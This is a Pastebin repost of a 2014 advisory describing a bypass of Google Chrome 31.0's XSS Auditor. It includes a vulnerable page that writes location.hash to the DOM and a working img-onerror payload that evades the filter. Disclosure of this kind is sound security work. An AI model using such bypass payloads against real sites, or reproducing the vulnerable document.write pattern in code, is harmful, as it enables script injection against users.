Advertisement
Mayk0

#; Google Chrome 31.0 XSS Auditor Bypass Vulnerability

Sep 9th, 2014
439
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.97 KB | None | 0 0
  1. Full title Google Chrome 31.0 XSS Auditor Bypass Vulnerability
  2. Date add 2014-09-04
  3. Category remote exploits
  4. Platform multiple
  5. Risk [<font color="#FFBF00">Security Risk High</font>]
  6.  
  7. Description:
  8. Google chrome XSS auditor was found prone to a bypass when the user input passed though location.hash was being written to the DOM by using document.write property. Normally, XSS auditor checks XSS by comparing the request and response however, it also checks for request itself, if it contains an untrusted input to prevent DOM XSS as well.
  9.  
  10. ================================================
  11.  
  12.  
  13. #Vulnerability: Google Chrome 31.0 XSS Auditor Bypass
  14. #Impact: Moderate
  15. #Authors: Rafay Baloch
  16. #Company: RHAInfoSec
  17. #Website: http://rhainfosec.com <http://rhainfose.com/>
  18. #version: Latest
  19.  
  20. Description
  21.  
  22. Google chrome XSS auditor was found prone to a bypass when the user input
  23. passed though location.hash was being written to the DOM by using
  24. document.write property. Normally, XSS auditor checks XSS by comparing the
  25. request and response however, it also checks for request itself, if it
  26. contains an untrusted input to prevent DOM XSS as well.
  27.  
  28.  
  29. Proof Of concept:
  30.  
  31. Consider the following code:
  32.  
  33. <html>
  34. <body>
  35. <script type="text/javascript">
  36. document.write(location.hash);
  37. </script>
  38. </body>
  39. </html>
  40.  
  41.  
  42. This takes input from location.hash property and writes it to the DOM. We
  43. initially inject the following payload:
  44. #<img src=x onerror=prompt(1)>. The request is blocked and the following
  45. error is returned:
  46.  
  47. "
  48. The XSS Auditor refused to execute a script in 'attacker.com#><img src=x
  49. onerror=prompt(1)>' because its source code was found within the request.
  50. The auditor was enabled as the server sent neither an 'X-XSS-Protection'
  51. nor 'Content-Security-Policy' header."
  52.  
  53. However, the following vector passes by:
  54.  
  55. #<img src=x onerror=prompt(1)//
  56.  
  57.  
  58. The following is how its reflected inside of DOM:
  59.  
  60. <img src="x" onerror="prompt(1)//" <="" body="">
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement